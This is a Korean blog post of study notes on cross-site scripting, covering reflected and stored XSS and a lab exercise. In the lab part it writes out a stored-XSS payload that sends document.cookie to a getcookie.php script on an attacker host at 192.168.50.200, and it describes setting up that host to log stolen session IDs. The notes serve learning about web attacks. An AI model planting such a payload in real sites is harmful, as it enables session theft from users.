kjh00n의 기록저장소

XSS 본문

어플리케이션 보안 운영

XSS

kjh00n 2025. 1. 6. 12:22

XSS (Cross Site Scripting)

● 공격 코드(Scripting)가 서버를 이용하는 클라이언트에서 실행(Cross Site)되게 만들어 클라이언트에서 비정상적인 동작이 수행되게 하는 공격

● Hacker가 Server에 있는 특정 기능을 악용해서 Client를 공격

 

공격 발생 원인

● 동적 웹 서비스에서 클라이언트로부터 전달되는 데이터를 검증 없이 받아들일 때 발생하는 취약점

 

공격 대상 및 특징

● 웹 서버의 서비스를 제공받는 클라이언트

● 웹 서버에 직접적인 피해를 일으키는 것이 아니라 웹 서버를 경유하여 클라이언트를 공격

  • 서버를 장악하지 않고도 사용자의 권한을 쉽게 도용할 수 있음

 

공격 종류

Reflected XSS (= Non-Persistent XSS)

● 공격자의 악성 스크립트를 대상 서버에 저장하지 않고 클라이언트에게 직접 전달하여 공격하는 형태
매개변수가 응답으로 출력되는 URL 등을 이용하여, 매개변수에 악성 스크립트를 포함시켜 전달합니다.
전달 방식 → URL, 이메일, 쪽지 등을 이용하여 전달합니다.
장점 공격자의 악성 스크립트가 서버에 저장되지 않으므로 필터링을 우회할 확률이 높습니다.
단점 클라이언트가 직접 URL을 실행해야 합니다.

Stored XSS (= Persistent XSS)

공격자는 대상 서버에 저장한 악성 스크립트를 클라이언트가 요청/응답을 통해 전달받아 공격합니다.
입력 데이터의 검증을 수행하지 않는 HTML을 지원하는 게시판, 방명록 등을 이용합니다.
장점 → 서버에서 필터링만 수행하지 않으면, 공격 스크립트에 의해 언제든 공격이 가능합니다.
단점 → 서버에서 필터링을 수행하면, 우회하기가 쉽지 않습니다.

XSS 간단 실습

● XSS 공격이 가능한 injection vector 찾기

해커가 입력한 데이터를 서버에 저장 → 사용자가 입력한 값을 서버에 저장하는 위치

→ 회원 등록, 게시판 글쓰기, 회원 정보 변경, 닉네임 변경

● XSS 공격의 타겟은 클라이언트 → 웹사이트를 이용한 사용자 → 공격코드를 불러오는 사용자 → 사용자가 요청이 가능한 페이지에 악성코드가 출력됨

● 게시판 글쓰기에 악성코드 넣어보기 ↓

● 공격이 먹히는 이유

→ 입력한 공격 코드가 수정,변경 없이 그대로 DB에 저장되기 때문이다


  • <img name="i" width="0" height="0"></img>: 이 부분은 보이지 않는 이미지 태그를 생성합니다. width="0"와 height="0"로 인해 브라우저에 표시되지 않습니다.
  • <script>i.src="http://192.168.50.200/getcookie.php?cookie="+document.cookie</script>: 이 스크립트 부분은 document.cookie를 사용하여 현재 브라우저의 쿠키 값을 가져옵니다. 그리고 이 쿠키 값을 i.src 속성에 할당합니다. 결과적으로, 쿠키 값이 http://192.168.50.200/getcookie.php URL에 전송됩니다.

50.1이 50.200에 접속하려는 모습
클라이언트의 Session ID가 해커쪽으로 전송됨

↓ Hacker인 50.200에 apache2와 php 설치함 ↓

cd var/www/html하고 vim getcookie.php 파일에 코드 입력
cookie.log에 클라이언트가 홈페이지 접속시 Session ID가 해커쪽에도 저장된다

'어플리케이션 보안 운영' 카테고리의 다른 글

CSRF  (0) 2025.01.07
XSS 보안 및 우회  (0) 2025.01.07
WEB Session Attack  (0) 2025.01.06
WEB 인증 공격  (0) 2025.01.03
데이터 검증  (0) 2025.01.03